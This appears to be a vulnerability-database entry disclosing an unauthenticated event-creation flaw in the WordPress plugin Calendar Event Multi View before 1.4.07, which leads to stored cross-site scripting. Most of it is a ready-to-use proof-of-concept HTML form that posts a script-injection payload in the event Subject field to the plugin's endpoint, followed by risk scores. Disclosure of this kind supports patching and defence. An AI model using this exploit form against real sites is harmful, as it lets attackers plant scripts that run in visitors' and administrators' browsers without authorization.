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Calendar Event Multi View < 1.4.07 - Unauthenticated Arbitrary Event Creation to Stored XSS

🗓️ 16 Aug 2022 00:00:00Reported by Mr.PywebType 
wpexploit
 wpexploit
👁 668 Views

Calendar Event Multi View vulnerability allows Unauthenticated Arbitrary Event Creation leading to Stored XS

Related
Code
As an unauthenticated user, to add a malicious event (on October 6th, 2022) to the calendar with ID 1, open the code below

<html>
  <body>
    <form action="https://example.com/?cpmvc_do_action=mvparse&f=datafeed&calid=1&month_index=0&method=adddetails" method="POST">
      <input type="hidden" name="Subject" value='"><script>alert(/XSS/)</script>' />
      <input type="hidden" name="colorvalue" value="#f00" />
      <input type="hidden" name="rrule" value="" />
      <input type="hidden" name="rruleType" value="" />
      <input type="hidden" name="stpartdate" value="10/6/2022" />
      <input type="hidden" name="stparttime" value="00:00" />
      <input type="hidden" name="etpartdate" value="10/6/2022" />
      <input type="hidden" name="etparttime" value="00:00" />
      <input type="hidden" name="stpartdatelast" value="10/6/2022" />
      <input type="hidden" name="etpartdatelast" value="10/6/2022" />
      <input type="hidden" name="stparttimelast" value="" />
      <input type="hidden" name="etparttimelast" value="" />
      <input type="hidden" name="IsAllDayEvent" value="1" />
      <input type="hidden" name="Location" value="CSRF" />
      <input type="hidden" name="Description" value='<p style="text-align: left;">CSRF</p>' />
      <input type="hidden" name="timezone" value="4.5" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

The XSS will be triggered when viewing the related event

Data

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29 Sep 2022 07:53Current
4.6Medium risk
Vulners AI Score4.6
CVSS 3.14.3
EPSS0.02645
SSVC
668